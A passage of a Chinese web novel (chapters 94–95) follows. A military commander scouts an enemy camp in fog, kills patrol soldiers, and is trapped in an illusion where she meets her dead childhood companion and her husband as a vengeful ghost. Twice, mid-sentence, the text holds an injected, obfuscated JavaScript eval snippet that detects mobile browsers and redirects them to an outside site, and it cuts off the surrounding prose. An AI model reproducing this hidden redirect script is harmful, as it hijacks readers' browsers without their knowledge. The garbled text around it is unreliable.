半月前有人泄露行踪,导致军队被沧灵军围困山谷,即便玄军反应迅速,出其不意绕后突破重围,雪幽谷一战,却也牺牲了上百人。 趁着养伤空闲,玄凝苦思冥想两日,整理出了一张可疑名单,为了不打草惊蛇,调查皆由隐寸暗中进行,除此之外,再无第二人知晓。 可自打那次之后,泄密之人再无动静,数日前与沧灵的守城战,也都是顺利稳当的度过。 正当玄凝纠结是不是自己疑心多虑,根本就没人泄密,这一切都只是她为了摆脱自责的臆想时,一个身世背景成谜的朔北男子,就这么从她眼皮底下钻出来,明晃晃勾搭上她的心腹。 云泥自小对城中时兴的纤瘦审美就不感兴趣,加上她先前时不时流露出对朔北男子的喜爱,玄凝很难不怀疑,此人接近她,是投其所好别有用心。 怎么说云泥也是情窦初开头一遭,在没有掌握确凿证据之前贸然告知,打草惊蛇是其次,要是闹了乌龙,惹出嫌隙,她怕是睡觉都觉得罪过。 天蜻长云泥五岁,两人又自小相识,关系要好,要想挖出点什么,从她下手最好。 只是还不等玄凝板着脸发问,那跪在地上的天蜻不知是否因为隐瞒主上良心难安,把她想知道的,不想知道的,一股脑地倒了出来。 “你是说,那个名叫碦什么的,是步天楼的舞郎?” “嗯……” 玄凝捂着脑门,她现在总算能理解玄遥,当初为何对她和棠宋羽如此反对了。 棠宋羽虽然抛头露面,但画师好歹也是个体面身份,这步天楼的舞郎,说的好听是取悦,实则就是卖弄身段,只要给足钱两,什么要求都能遵从。 “可我记得步天楼的舞郎明码标价,光是陪客就要二十两黄金起步,她哪来的钱买他初夜?” 天蜻虚心地看了她一眼,“她之前来找我借钱……说是急用,我就把这些年存的钱两全给她了……” “……” 来人,救救她这俩没救的侍卫。 强忍着怒火,玄凝深呼了一口气,“他既身属步天楼,又为何会出现在这里?” “云泥说,他家里惨遭贼人烧杀劫掠,他侥幸逃生,途中却因语言不通,被人卖到楼里当舞郎……” “……所以?” “云泥想帮他回到故里…” 随呼吸喷洒的白雾转瞬消逝,得知事情的来龙去脉,玄凝扶额走下被昏黄烛火照亮的阶梯,在后面跟着的天蜻,连口气都不敢喘。 她此刻隐忍不发的神情,和庄主太像了。 她数着步子,果然,走出十步后,玄凝停步回眸,声如冰冽。 “冒充女子混入军队,真是一个敢想一个敢做,亏你们二人还在军营待过,军规严令禁止的事你们是照做不误,若传出去,你们是想让军中笑话我苛待下属,连个男人都不舍得送,还是想让玄家军沦为世人酒足饭饱后的谈乐。” 低声斥责中,天蜻默默低下头。 “我这就去领罚。” “领罚?”玄凝嗤笑道:“你想以何罪名领罚?是知情不报,还是共同窝藏男人?” “窝藏男人?谁啊?” 身后走来一个女人,一身棕红狐领大氅,头上戴着御寒的黄狼帽,又用面帷挡住了脸,只漏出两只乌黑的眼睛,乍看像是一朵漂浮的火焰。 眼看着她踩着碎步走近,玄凝皱了眉头,“与长公主无关。” “大清早谁又惹我们主帅不高兴了。”天覃拽下了面帷,挑眉笑道:“是本王吗?” 自从玄凝醒来,她发现,长公主变了。 谈不上大变,只是总出现在她身边晃来晃去,跟带回来的小白狼似得,管不了还赶不走。 玄凝本就处在气头上,见到她更是没有好脸色,绕道而行,那朵火焰立即贴了上来,“哎,本王问你话呢。” 千里镜观测有限,若想摸清敌营所在,还需派斥候出城查探,玄凝斜眸看了眼身后,“去步兵营挑几个灵活敏捷的人,带上个人军备和雪地行衣,天亮前出发。” “是。” 天蜻应声而动,她一离开,玄凝的脚步明显加快,气得长公主三两步夹带小跑追赶,嘴里还不忘骂骂咧咧。 “好你个玄凝,又拿我当空气,早知道你这般忘恩负义,我当初就该骑上墨云就跑。” 墨色身影倏然回转,天覃一个刹车不及,直往她怀里撞。 “你……”她抬起头,刚要责问面前人为何突然停下,那冰凉的指尖忽而冒犯,挑起了她的下颏,在肉茧中摩挲。 “忘恩负义?”玄凝嘴角噙着冷笑,“长公主殿下,麻烦你搞清楚,若非我的人及时赶到,你如今还不知道身在何处。” 眼看她瞪圆了眼睛,在袭来的巴掌到来前,玄凝连余光都不舍得多给,转眼就擒住天覃的手腕,听见她气急败坏的骂声,勾头凑近嗅了嗅。 “长公主今日罕见早起,脸上还涂了香膏玉粉,点了红蔻胭脂,怎么,看腻了裴柏青,要去物色新的男人了?” “放开我!” “我自是会放开你,不过……”玄凝捏紧了她的下巴,却又克制着情绪,不让略长的指甲扎进那娇嫩肌肤。 “什么人可以宠,什么人不该碰,长公主可要时刻铭记在心,千万不要忘了,否则出了事,我可不救你。” 金临不比天景,这里原先是一片荒地,战后琼国与沧灵达成合盟共识后,先帝下令,在怀安河沿岸百里外修建城墙,金临城便是在那个时候,与高大城墙一同构筑了琼国北境最坚固的盾牌。 这里的住民多是当年城墙建成后,留下来定居的工匠,她们来自金州不同地区,在历经数十年变迁逐渐融合,形成如今安定繁荣之貌。 至少一眼看上去,是平和的。 由于地域环境的影响,短短数十年并不足以让不同族群文化习俗彻底交融,身处掌握军事要地情报的玄家,玄凝没少听说金临城中斗殴至死的事件。 从发生口角,抱团排异,再到流血伤人,各种五花八门的纠纷起因,都不外乎是各族利益之争, 能维持总体安稳,已是朝廷强行干涉的结果,但天高地远,朝廷设立的为解决族系纠纷的督州府,在当地并不受民众信任,她们更相信一个神眉鬼道的职业——神旦。 最早的神旦,是沧灵国祭坛上奉给神天的祭品。 王室会根据神巫的占卜,从全国各地找来符合条件的男童,浑身赤|裸在冰上跪上三日,最终活下来的孩子便是神旦。 随着天灾内乱,新的沧灵王室觉得这种方式过于费时费力,对外便传“神王合绶”,由真王诞下的女婴,是神的化身,为“妲”,若诞下男孽,便是神赐予的赎罪机会,只待成年亲手将他送上祭坛,割喉饮血,便可以洗清己身一切罪。 而金临城的神旦,在汲取外来文化后,某种程度上更像是集神巫与官府作用为一体的谋利团体,凭借淳朴无害的长相和故弄玄虚的“神力”,迅速站稳脚跟,成为如今城中不容小觑的势力。 之所以警告长公主,是因为世人眼中的神旦必须是处子身,而冒犯神旦,便是亵渎神灵,是不可饶恕的死罪。 就在她们刚到金临城不久,长公主不知从哪绑来了一个倒霉神旦回军营,当晚军营周围火光冲天,吓得玄凝还以为沧灵军破城而入了。 长公主愚胆妄为,好在她身旁伺候的裴柏青细微谨慎,听那人说自己是神旦,死活不让她扒人衣裳,为此还挨了几脚。 放了人还不行,那群悍民非要闯入军营绑了长公主,若非知府大人出面,玄凝就是喊破了嗓子,拿剑架在人脖子上,那些人怕是也不肯走。 事情才过去数十天,如今她又想出去找新乐子。玄凝不指望她率军杀敌,但若她总管不住自己,给后方添麻烦,那就不能怪她不念及天子临行托付。 见她冷着脸色警告,天覃微微凹下了嘴角,“啰嗦,知道了。”她就没打算去寻欢作乐。 但得到回答后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008075|123039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄凝便大步离去,只留下她一人在金鸡未鸣的晚夜,捂着下巴向星辰诉怨愁。 “动手动脚,目无尊卑……我果然还是讨厌你。” 因河道结冰,贸然过冰河追击,恐会被埋伏在对面的弓箭手射杀,前期与沧灵军的对战,始终处于被动的防守位置。 一直被动也不是长久之计,尤其是再过两三月,待到天景城杏花落尽,朔北山川的积雪开始消融,永安河恢复奔流,到那时再想渡河进攻沧灵,也并非易事。 四日前派出去的探子迟迟未归,恐怕早已凶多吉少,一番商讨后,清早天还未亮,玄凝换上了轻便保暖的雪地短靴,束发围面,身披白斗,出现在缓缓打开的一侧城门后。 她只带了半日的干粮,而与之一同出城侦查的云泥带了足足三日的干粮,说是以备不时之需。 人力消耗大,食量也大,玄凝也就是曾在昆仑山上辟谷炼体三年,内力傍身,不至于让身体太早陷入饥饿。 天色昏黑,一路上被面帷遮挡的耳畔,只有呼呼作响的风声和沉重呼吸声,在日光崭露头角,将斑驳光点照在冰面上之前,两人迅速跑过结冰河面,朝着望眼沧白一片的山林行进。 树木植被稀疏,随处可见光秃树桩形成了一片空旷,应该是沧灵军为了方便攻城时军队驻扎休息而砍伐下来。 前天夜里又下了大雪,雪花掩盖下,已看不出任何人经过的痕迹。 来之前,吉蕸曾找来怀安河两岸的地形图,分析着沧灵军最有可能驻扎的位置。距离怀安河大约四十公里外有一处天然湖泊,因地下泉眼的存在,湖面上常年云雾润泽,哪怕是进入寒冬,湖面也不会结冰。 此次沧灵军铁了心要攻下金临,长期交战,她们的营地势必靠近水源或村落。 绕着崎岖难行的雪地,行至到能俯瞰到湖泊一隅的山坡上时,头顶上惨白的太阳毫无半点温暖之意。 濛濛雾气如积压的云雪,将湖泊周围三公里的地方掩藏不见,若非远处山头与地图画的数量一致,玄凝都要怀疑自己是否走错了路。 寻了处背风地稍作休息,见云泥三两口吃完了两张比巴掌大的椒枣饼,玄凝解下水囊递了过去,“你也不怕噎着。” 云泥接过来憨笑了两声,“嘿嘿,我太饿了。” 水还是温的,她抿了几口就还了回来,玄凝看她欲言又的神情,低头咬了一口冰凉发硬的椒枣饼,在嘴中含了一会才咀嚼咽下。 “想问什么?” 得了机会,云泥立马脱口而出:“殿下这次为何只带我一人出来?” “你觉得呢?” “嗯……因为我身手好!” 她倒是自信。 玄凝睨了她一眼,刚想回答,忽有一道凌厉风声,直奔她眉心而来。 “!” 浓雾之中,身影持弓而立,山色映眼,半点月湾皆湮银白孤漠,唯有额间神纹,红如指尖勒出的血痕。 “萨耶大人,是有什么情况吗?” “……有只兔子。” 一听是兔子,尼古利立即喜笑颜开道,“许久没吃兔子肉了,在哪,我去拿。” “我并未射中。”萨耶收起了长弓,望着重新遮挡住视线的缥缈冷雾淡淡道:“她躲开了。” “居然有萨耶大人射不中的猎物,真是只矫健的兔子啊。” “……” 确实矫健。 直到确定再无暗箭,玄凝才把半张脸从雪中抬起来,皱眉望着不远处的箭杆。 又是鹰喙箭。 饶是敌人,玄凝也不得不惊叹放箭之人,眼神如雌鹰尖锐,她日在战场上碰见了,定是棘手。 这样的人,她先前也遇到过一个。 想到了那人,玄凝脸色微变,这么远的距离,又隔着浓雾,不是他还会是谁? 那个和自家君夫长得一模一样的沧灵军,玄家情报部对此人毫无讯息,他就像是凭空蹦出来一样。 要不是玄遥在回信中说棠宋羽一切安好,玄凝都要异想天开地怀疑,自己的君夫,是个蛰伏多年的沧灵探子。 可是世上怎么会有两个人,隔着遥远距离,却长得一模一样的脸,和几乎相近的性格。 飞鸟跨越冬眠的山川,沿着静止的江河,载云帆一路驶向未知深处的梦境。 寒雾徐徐飘升,美人衣衫半褪躺在玉榻上,金针刺入肌肤,他的眉心始终平淡无澜,淡红唇角也同样安静。 沾了血的金针一根一根接连拔出,寂静之中,有人无声抚上他的手腕,寻着微弱的脉搏,垂眸静听。 半晌,房间传来一声叹气。 “怎么还是这般脉象。” 安静被打破,久候在门外的岑煦闻声而动,她推开了门,朝着愁眉不展的女君笑了笑。 “我听说庄主在地下藏了个睡美人?快让我看看——” 等她说完半开玩笑的话语,定睛看清楚玉榻之上的人后,嬉闹的神色瞬间有所收敛。 “这……不是世子夫吗?” 95. Chapter.94 岁末已过,城中店铺五彩灯高挂,以庆新年开张,财源广进。 相比之下,树立在医馆门口,写着端正大字的木牌,就显得格外简朴冰冷。 “医师外出修习中?” 柳予安拎着从沃城带来的特产,站完医馆门口读着木牌上的内容,激动一路的心情都垂丧谷底。 她本想给岑煦一个惊喜,这下可好,扑了个空,连重新准备惊喜的心思都提不起来。 临近结业,医佣正弯腰清点药材,柳予安进门后环视了一圈,直奔后院去。 “等等,那里不可以进……柳医师?” 柳予安回过头,晃了晃手里沉甸甸的东西,“我放下就走。” 见真的是她,医佣脸上立马挂上了殷勤笑容,“是柳医师的话,不走也无妨。” “不走留下来帮你盘点药材?年都过完了,你这如意算盘不考虑换把新的?” “柳医师这话就见外了,怎么说你也是岑医师的家里人……” “你少来。”柳予安哼笑一声打断道:“我可不吃你这套。” 嘴上这么说,待到医佣吐舌转身后,她冷不丁回头问道:“她是不是又去玄家找那个女人了?” “是啊,岑医师每月都会趁医馆清闲,去玄家与庄主探讨医术。” “就她们两人?” “应该是吧,没听过岑医师提起其她人。” 啧。 柳予安心中隐隐不爽,她这探讨医术的频次,都比她二人见面频繁了。 “她在哪个庄上?” 辰宿庄地下,美人安静如画,身上的施针红点入眼,过往医治好的病人,如今躺在床榻上一动不动,岑煦不禁皱眉道:“这不是世子夫吗,你怎么又昏迷不醒了?” “又?” 捕捉到她话语中的字眼,玄遥面色严肃,不计较她擅闯进来,而追问“又”字何来。 “去年这孩子被殿下的马踏伤后,在我那里治疗了一段时日。” “这个我知道。” 玄遥低手将男子衣衫合拢,回眸就见岑煦勾着唇,凑近神秘兮兮地说道:“有件事,庄主一定不知道。” “何事?” “世子殿下出事那晚,他不慎割破了手,虽只流了一点血,却足足昏迷了一个多时辰。” 印象中,她是派人来请过,玄遥微微点头,“我知道,那晚阿凝不慎被毒虫弊目,她想去看他,被我拦下了。” “怪就怪在这里。” 岑煦垂眸望了一眼,“那夜我都不知道小庄主出事,他醒来后第一句,便是问我殿下是否出了事,说自己好像看见了。” 白烛晃过凝重面色,玄遥久久不语,半晌收拾着针匣,走出了房间。 “去娲祖庙请神巫过来。” 岑煦紧跟在身后,自然也就听见了她对手下人的小声吩咐,待人走后,她才问道:“庄主相信鬼神之说?” 对于鬼神之说,玄遥始终是宁可信其有,不可信其无的态度,尤其在她亲眼所见,银发苍苍却年轻俊隽的仙人,踏剑飞身而落。 “现居昆仑神山的仙人,曾是阿凝的师甫。” “昆仑?传闻是真的?” “嗯。” 既然世上有仙人,那就难怪她会相信神巫驱邪一论,岑煦不再作声,过了片刻又问:“小庄主知道吗?” “你觉得,我会让她知晓吗?” 看来是要瞒着了,岑煦长叹了一声,“也是,小庄主如今军令在身,即便告诉了,也只是徒生担忧。” 走在前面的人不动声色迈下台阶,岑煦闻着熟悉的刺鼻味道,语气明显激动起来,“今天要解剖什么?” “最近得了一具罕见的双生同体……” “庄主,门口来了个姓柳的黎族医师,说有事要找岑医师。” 侍卫匆匆赶来通报,玄遥回头看了一眼略显尴尬的面庞,“既然来了,不如一起。” 岑煦赔笑地摆摆手,“算了,她对黎族行医用药之术颇为拥护,每回跟她讨论用刀开缝,最后都会演变成吵架之势。” “毕竟是建在千万药人尸骨上的硕果,她身为黎族长老继承人,传承与拥护是应尽的职责。” 提到药人,玄遥黯了黯眸中光泽,转身进到了更衣的房间,岑煦站在门口,对着侍卫不假思索道:“你去告诉她,有事回去抓药,没事回去抓药,少来打扰我。” 侍卫听的一头雾水,却也原封不动将话带到。 “还没见面就赶我回去?” 柳予安委屈地简直想哭。 * 穿过浓雾的利箭斜斜扎进了地上,玄凝扯下面帷,将拔出来带有毒液的箭头包裹。 上次沧灵攻城,玄凝有心留意了战后清扫收集来的箭支,以及伤者身上的伤口。 奇怪的是,在上百支箭羽中,她并未发现一支鹰喙箭,同样,那些受伤的玄甲军身上,也没有出现出血不止,伤口无法愈合的现象。 虽不知为何,但至少有一点可以肯定——迄今为止,萨耶并未参与攻城。 他很可能是沧灵有意藏起来的,一枚最具危险锋芒的白棋。 不知何时出手,不知下到何处,稍有不慎,便会如刚刚那般被一箭扎进脑门。 鹰喙箭斜插腰侧,玄凝拾起地上没吃完的椒枣饼,重新装回了食袋中。 受惊的云泥还在懊恼,她走过去拍了拍肩膀,“好了,起码我们现在可以确定,湖边真的有沧灵军驻扎。” 至于是临时驻扎还是沧灵军营地,还需下去确认。 云泥瞥了一眼山下,压着声音恶狠狠道:“这放箭之人忒歹毒了点,最好别让我逮到他,不然我一定要把他绑在箭桩上射成筛子。” 好极了,她还没看顺眼棠宋羽,眼下她又想把长得与棠宋羽一模一样的人杀了。 玄凝睨了她一眼,慢悠悠道:“我看,你还是想想该如何帮舞郎回到故乡吧。” “?!” 云泥仿佛遭了晴天霹雳,瞠着眼睛钉在原地,不可思议问道:“殿下怎么知道?” “嘘。” 噤声急促,云泥迅速收起脸上惊讶,跟随面前人俯身趴在了石头后面。 有人来了。 从湖边赶到山上目测也要花上一个钟头,除非萨耶会飞,否则就不可能是他。 玄凝眯起一只眼,透过石缝仔细观察着山路上的来人,她们手里拿着短弓,背上背有棕皮箭囊,身上穿戴的则是士卒中最常见的铁甲。 前后陆续经过三人,额间都带着护额,还装饰了珠串在上面,走起路会有来回晃动的声响。 脚步声听起来毫无防备,应该只是在附近巡逻的士兵,恰好经过。 两人相视一眼,云泥立即读懂了她的意思,伸出三根手指掰掉了其中两个个示意,玄凝点点头,竖着拇指在脖颈边缘转圈。 [先打晕再说。] 声音逐渐靠近,在几乎擦脸而过后,云泥悄悄翻身过石,捂住了走在最后的士兵口鼻,顺势敲上后颈。 “唔!” 动静引起了其她人的主意,见对面转身,云泥扔下手里的人,一脚将面前的沧灵士兵蹬踹在地,在对方发出惊叫之前,抓起地上的白雪就往人嘴里塞去。 剩下的人慌张拿起颈上戴着的木哨,还不等吹响,就被一只胳膊扼紧了脖颈,掰着脑袋往后拧。 骨断闷脆,玄凝拿出她嘴中还紧抿着的木哨,回身时,云泥正拍着手起身。 “搞定。这真的是沧灵军吗,怎么一点反抗能力都没有。” 排除她身手本来就好的缘故,这些人的反应,与之前对上的银甲军相比着实堪无。 “看她们的衣甲,应该是最低职阶的沧灵军,从军时间不会太长。” 玄凝解开身上白斗,这些士兵身上的衣甲,背后有可调节松紧的系带,足以让她不褪去绒衣穿上。 “殿下,你不会是想冒充沧灵军吧?” 云泥一边帮她调整着系带,一边探头问道:“我们不会说朔北话,碰上敌人就完了。” “你嘴巴能不能说点吉利话?” 玄凝回过头,护额上的玛瑙珠滴滴答答发出声响,见云泥一眨不眨地盯着自己,她不禁疑惑问:“做什么?” “还别说,这沧灵军的护额戴在殿下脑门上,挺好看的。” “好看有什么用,布做的,只能挡风保暖,完全根本没有抵御攻击的作用。” 脑海中忽然闪过念头,玄凝皱紧了眉头,若外围巡防皆是这般身手,她派出去的探子,又怎会无人生还。 要么是山下有重兵巡逻,要么……是那个人。 “殿下,这两人怎么办?真要杀了?”云泥换好了沧灵军的装扮,蹲在身旁问道。 “不杀等她们醒来吹哨子吗。” 待藏好沧灵军的尸体,湖边雾气在午后的日光曛陶下渐渐变得淡薄,兴许是运气使然,下山路上二人并未碰到沧灵军,甚至连个人影都没碰见。 她几时运气好过,过于顺利使得玄凝心中愈发感觉诡异,不知不觉,她已置身白雾密布的林中,视野所及到处是皑皑苍茫,让人难以分清方向。 连日光都透不过的阴冷雾气氤氲在周身,如无数眼睛的凝视让人不适,面帷遮挡下的呼吸越来越急粗,玄凝停下来,缓着气沉声问:“云泥,你有没有觉得,有人在盯着我们……” 身后久久没有回答,玄凝惑然回过眸,刚刚还紧跟在身后的云泥,如原地蒸发般了无踪迹。 “云泥?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042468|123039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫于身处敌境,玄凝无法喊叫,环顾了一圈没有发现身影,甚至连地上的脚印,都只有她孤零零的一排。 越往回走,脚印越浅,直至消失不见,玄凝惊出了满头冷汗,趔趄后退了一步靠在树干上。 怎么会这样? 既没有下雪,脚印为何会消失,即便是局部落雪,她进到林中也不过半个时辰,怎么可能会完全覆盖。 回忆着下山以来路上的对话和看到的景象,玄凝迫使着自己冷静下来,在脑海追踪着注意到的,或未能注意到的所有细枝末节。 奇怪的感觉究竟是从何开始,是踏进这片浓雾,是过于顺利下山途中,还是在更早之前,那只穿云雪而来,直冲眉心的鹰喙箭。 箭? 玄凝摸上腰侧,箭还在,她刚松手,放下去时,手背却碰到了什么突起的东西。 低头定睛一看,箭杆上绑了一根红绳,圈圈紧密缠绕之下,仿佛有什么东西。 之前这箭上绑了红绳吗? 玄凝边回想着,一边上手解开了红绳,里面是张字条,展开后还没有手指长。 “危,走。” 短短两行字,看得玄凝的心脏激动地快要跳出胸口。 第二行是落款,上面工工整整写着—— “棠宋羽留” 萨耶就是棠宋羽! 怎么可能,他的过往再被她一层层剥开后,几乎再无隐藏。 脑中不断有声音争论,玄凝颤抖着手将字条反复看了几遍,始终不舍得放下。 是他的字迹,是他的名字。 但,棠宋羽不会弓射,他那常年握着光滑笔杆的无瑕双手,和鲜壮薄硕的双臂,连开弓都困难,根本就不可能将箭放出这么远。 静心诀只念完了开头,玄凝便将字条放进窄袖中,望着空中散不开的白雾,她摸上了脖颈挂着的,从沧灵士兵身上拿走的木哨。 她想要确定一件事,尽管这个举动,很有可能将自己置身险境。 哨声瞿瞿,在寂静的雪林中,尖锐声格外突兀。 如果哨声是沧灵军遇到敌袭,传递情报的信号,那她吹响之后,应该很快会有沧灵军赶到。 玄凝嘴叼着木哨不断吹响,余光观察着四周,她不打算坐以待毙,寻到了一棵高大树木,稍退后几步,三两助跑腾空,蹬着树干跃身而上。 枝头细雪纷纷落,青丝沾点梨花,于风中缕缕飘扬。 小时候为了躲师甫惩罚,她没少爬树,只是每次她一爬上去,阿紫就会站在树下,说是怕她掉下来,要给她当肉垫。 他站在那里仰着脸,谁能不知道树上有人。 后来玄凝就不再爬树了,一是没用,二是有一次,她真的掉下来了。 忘了是脸还是屁股先着地了,玄凝低头看了一眼,这棵雪松比记忆中爬过的树木要高上半丈,就算下面是雪地,掉下去的话,应该也会疼上一会儿。 高处本可以观远处,但雾气太大,视线受阻,玄凝只得抱紧了树干,等待着声音传进耳畔。 等待的过程堪比半生漫长,玄凝估摸着自己已经等了快一刻钟的时间,腿都有些麻木,那本该闻哨声而至的沧灵军却迟迟未至。 哨声再次吹响,玄凝放下木哨,眉宇间愁云密布。 若是再没有人来,那就当真是她最不愿相信的一种可能。 她怕是和雪幽谷那次一样,中毒出现了幻觉。 大胆点想,很有可能云泥并没有走丢,而是被她当成了一棵树,说不定自己现在就骑在她的头上。 紧贴着手腕的字条还在,不远处忽然传来窸窣踩雪声,玄凝瞬间打起了精神,屏息凝神听着脚步,判断着来人数目。 只有一人? 来人身上很轻,踩在雪地上,连咯吱的声音都听不见,伴随着微弱的脚步,朦胧身影逐渐走出白雾,不曾打量,就精准无比地走到她待着的树下,仰着脖子喊道。 “小庄主,师甫已经走了,你可以下来了。” “……” 见她不吭声,来人张开手,笑着又道:“不要怕,我会接着小庄主的。” “……” 那张脸,她明明都快忘了的。 玄凝怔怔地看着树下的小小身形,她伸出手,自己的手也变得小小的,连方才一直紧攥在手中的树枝都攥不住。 这不是幻觉。 是她脑海之中的意识幻境。 “小庄主?” 那人站在树下,歪头问道:“你怎么不理阿紫,是阿紫做错了什么事,惹小庄主不高兴了吗?” “没有……” 听到熟悉的语气,玄凝忍着内心翻涌上来的愧疚酸楚,勉强抿唇笑道: “我很高兴……能再次看见你……阿紫。” 96. Chapter.95 破开迷雾的日光静悄悄晃过树荫,途经依偎身影,未留得半点余温。 不同于日后十分注重自身形象的玄霁,那张年幼的漂亮脸蛋,随着玄凝绘声绘色的讲述,不断变化着丰富小表情。 尤其是听到她提到成亲,玄霁两眼泛光抓住她的衣袖,不等她说完,就迫不及待问道:“我真的和小庄主成亲了吗?” 他若能再耐心一点,玄凝便能将唇边的名字念出,可独独他好奇心切,张着一双欣喜难言的明亮眼眸,凑近到她的面前。 “我以后真的可以和小庄主再不分开吗?” “……” 天真如稚童,认为一纸婚约,两指红泥,便可永不分离。 玄凝一直觉得,阿紫之所以想和她成亲,是他不知从何处听来的话,认定只要成了亲,他就一直能留在她的身边,做她的阿紫,再不分开。 她走了以后,这样的想法始终扎根在阿紫的内心深处,经年不衰反涨。可她的记忆随年华褪色,他也不再只是阿紫,而是玄家掌籍玄霁。 “我没有和你成亲。” 玄凝望着那渐渐暗下的眸光,抬手摸了摸他的脑袋,“但你能出现在这里,成亲与否,便已经不再重要。” “小庄主说的话,阿紫有点听不懂……” 玄霁揉了揉泛红的眼眶,“怎么会不重要呢,若是和小庄主成亲的不是阿紫,那阿紫以后要去哪……” 他的存在,仿佛也只是为她一人。 “去哪都好,只要是你想去的地方。” “不好,一点都不好!” 他如儿时般哭闹着扑到怀中,“阿紫只想留在小庄主身边,哪也不去,要是小庄主娶了别的男子,阿紫还不如死了算!” 明明玄凝已经极力避免自己想起那个晨昏,想起猩红水池里的漂浮,想起脆弱不堪的冰冷血肉,躺在怀中一动不动。 但幻境中的景象基于她的深浅意识共同建存,玄凝只听到一声呜咽,再低头时,幼小身影不再,只有一个面色苍白的男子,伸手拂过她的脸畔,字字艰凄。 “对不起……我不该为难小庄主的……” “阿紫只是忘记自己……已经死了……” 锋刀划开的深长伤口,被水泡的泛白褶皱,玄凝只看了一眼,便被遮住了眼睛。 “我这个样子……好丑……小庄主会作噩梦的……” “不丑。” “是吗……”素手缓落,苍白发紫的嘴唇微微向上,浅勾出两点月弯,“那便好……” 声音微弱无力,直至消失不闻,玄凝低下头,吻了吻他的额头,如当初一样。 “对不起……是我没保护好你……” 玄凝从来没有做过有关阿紫的噩梦。 而今,却沉坠其中。 不知过去了多久,玄凝站起身,望着重新聚拢的白雾,抬手抹了抹湿润眼角,朝着未知深处继续独行。 若这里是由她意识决定的幻境,她要如何才能出去。 拿梦境来推敲,当人在梦中开始奔跑或登上高处,面临的一定会是踏空,坠落,然后醒来。 坠落的方法,玄凝已经试过了,结果显而易见。 跑? 跑吧。 玄凝丢下弓箭,卸下衣甲,只剩一身红色衣袍,在雪地之上,迷雾之中,铆足全身力气向前狂奔。 她期待变幻的坡度,期待脚下松雪变得如云般柔软,好让她踏空,失重,迎来苏醒。 可哪怕是幻境,她的运气也没有好过。 在一眼望不到尽头的白雾中,有火光若隐若现,不知不觉,玄凝已经跑得满身湿汗,比起期待落空,她更相信那个火光,便是此次幻境的终点。 滚烫的肌肤穿过迷雾笼罩的阴森幻境,不知是汗水还是白雾凝结的水珠顺着下颏流滴,玄凝咬着牙,拨开最后一丝阻碍在眼前的纺线,跻身冲出团雾。 “!” 玄凝猛地惊醒,入眼是昏红夜空,飞絮点点飘扬,落到鼻尖,一点冰凉。 缓过神来,玄凝立马坐起打量着周围,映入眼帘的是一片湖水,不知是谁的灯笼掉在了里面,在水面上晃晃悠悠飘荡。 这片湖看起来不是很大,甚至有些熟悉,玄凝疑惑地转过头,想要继续打量,却看见身旁地上,躺着一个同样穿着红衣的男子。 那是,身穿嫁衣的棠宋羽。 他浑身湿漉,一头乌黑浓密的长发沾了水后,如坊间传闻中的水鬼般紧贴在身上。 被水浸透的嫁衣仿佛有千百斤重,穿在棠宋羽颀长削瘦的身形,像是被红蟒缠绕勒紧的猎物,连呼吸起伏都难以察见。 在看清那张脸后,玄凝瞬间绷紧了神经,不顾心下知道自己依然身处幻境的疑窦生寒,一个翻身爬了过去。 “棠宋羽!” 冰冷俊美的脸上爬满了寒蛇,乌紫的嘴唇紧闭,看起来毫无生气,玄凝惊讶他脸颊的温度,忙用发颤的双手焐上,跨身贴近,急切呼唤他的名字。 “棠宋羽,棠宋羽你醒醒!” 身下没有反应,玄凝想到了什么,手指捏住他的鼻子,深吸低头就想给他送气。 不等她碰到他的双唇,棠宋羽突然睁开眼睛,惊得玄凝刹那间不知作何反应,鼓腮瞪眼地望着他。 在她目光的注视下,棠宋羽缓缓抬起手,从她温热的额心,划过挺拔的山根,圆润的鼻头,再到微微凹陷的唇沟,胭染的软唇,他巍然不动的眼帘,终舍得轻落半合,眯眼紧盯。 放到嘴边的东西,怎么能不咬一口。玄凝泄了气就要咬上去,可惜她慢了一步,又或是棠宋羽故意为之,在她即将咬上的时候,带着手指下楼光临她的喉结了。 “棠呃……” 一直勾勒的指尖倏然施加力度,连带着指甲扣进她并不明显的喉山,害得玄凝干呕了一声,抬手就想拍开他。 可当她抓住他的胳膊,脖子上已然是掌心紧握,五指紧扣,视线里,棠宋羽脸上的神情没有任何的变化,只是眼睛里,似乎有什么东西在缓慢地汇聚。 “放,手。”玄凝皱眉警告道。 似乎觉得这样并不足以让她闭嘴,棠宋羽两只手都掐住了她的脖子,随着发力,他红艳的眼角缓缓流下两行粘稠的眼泪,在飘雪的夜空下,浑如调色台上溢出的朱砂。 “为何……” 他一开口,声似哭魂凄哀。 “为何要欺我,弃我,辱我,修我?” “……” 玄凝怔然望着那两行血泪,连反抗都变得无力,垂落了双手在他胸前。 没有心跳。 “我要杀了你,再掏出你的心,尝尝是冷是热。” 他真的变成厉鬼,前来索命了。 成亲之夜,她于湖底,见到了身穿嫁衣,如鬼魅般凄阴阴的棠宋羽。 那画面过于难忘,以至于玄凝需要刻意将其尘封内心深处,再回避任何可能会唤醒这段画面的字眼词汇。 眼下这个所谓的幻境,把她藏的最深,最不想回忆的人与事,由浅到深的挖出来,如摊晒衣被般展开铺平,让她毫无防备地滚上去,再突然升起尖刺,扎进她周身每一寸弱势,让她皮开肉绽,让她肝肠寸断。 